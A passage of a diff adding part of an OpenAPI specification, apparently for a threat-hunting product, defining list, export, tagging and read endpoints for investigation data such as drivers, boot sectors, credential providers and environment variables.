+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CLSIDAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_CLSIDAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/CLSIDAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CLSIDAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CLSID'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ControlVariousValues/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ControlVariousValues_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ControlVariousValues'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ControlVariousValues/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ControlVariousValues_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ControlVariousValues/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ControlVariousValues_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ControlVariousValues/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ControlVariousValues_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ControlVariousValues'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ControlVariousValuesAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ControlVariousValuesAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ControlVariousValues'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ControlVariousValuesAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ControlVariousValuesAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ControlVariousValuesAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ControlVariousValuesAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ControlVariousValuesAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ControlVariousValuesAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ControlVariousValues'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/CredentialProvider/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CredentialProvider_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CredentialProvider'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CredentialProvider/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_CredentialProvider_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CredentialProvider/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_CredentialProvider_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/CredentialProvider/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CredentialProvider_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CredentialProvider'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/CredentialProviderAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_CredentialProviderAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CredentialProvider'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CredentialProviderAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_CredentialProviderAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/CredentialProviderAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_CredentialProviderAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/CredentialProviderAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_CredentialProviderAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CredentialProvider'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/DeviceBootSectors/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_DeviceBootSectors_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DeviceBootSectors'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DeviceBootSectors/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_DeviceBootSectors_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DeviceBootSectors/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_DeviceBootSectors_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/DeviceBootSectors/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_DeviceBootSectors_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceBootSectors'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/DeviceBootSectorsAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_DeviceBootSectorsAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DeviceBootSectors'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DeviceBootSectorsAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_DeviceBootSectorsAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DeviceBootSectorsAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_DeviceBootSectorsAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/DeviceBootSectorsAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_DeviceBootSectorsAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeviceBootSectors'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Driver/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Driver_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Driver'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Driver/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Driver_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Driver/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Driver_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Driver/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Driver_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Driver'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/DriverAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_DriverAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Driver'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DriverAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_DriverAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/DriverAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_DriverAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/DriverAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_DriverAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Driver'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Environment/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Environment_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Environment'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Environment/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Environment_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Environment/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Environment_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Environment/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Environment_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Environment'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/EnvironmentAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_EnvironmentAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Environment'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/EnvironmentAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_EnvironmentAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/EnvironmentAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_EnvironmentAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/EnvironmentAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_EnvironmentAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Environment'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ImageFileExecutionOption/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ImageFileExecutionOption_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ImageFileExecutionOption'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ImageFileExecutionOption/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ImageFileExecutionOption_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ImageFileExecutionOption/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ImageFileExecutionOption_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ImageFileExecutionOption/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ImageFileExecutionOption_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ImageFileExecutionOption'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ImageFileExecutionOptionAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ImageFileExecutionOptionAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ImageFileExecutionOption'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ImageFileExecutionOptionAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ImageFileExecutionOptionAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
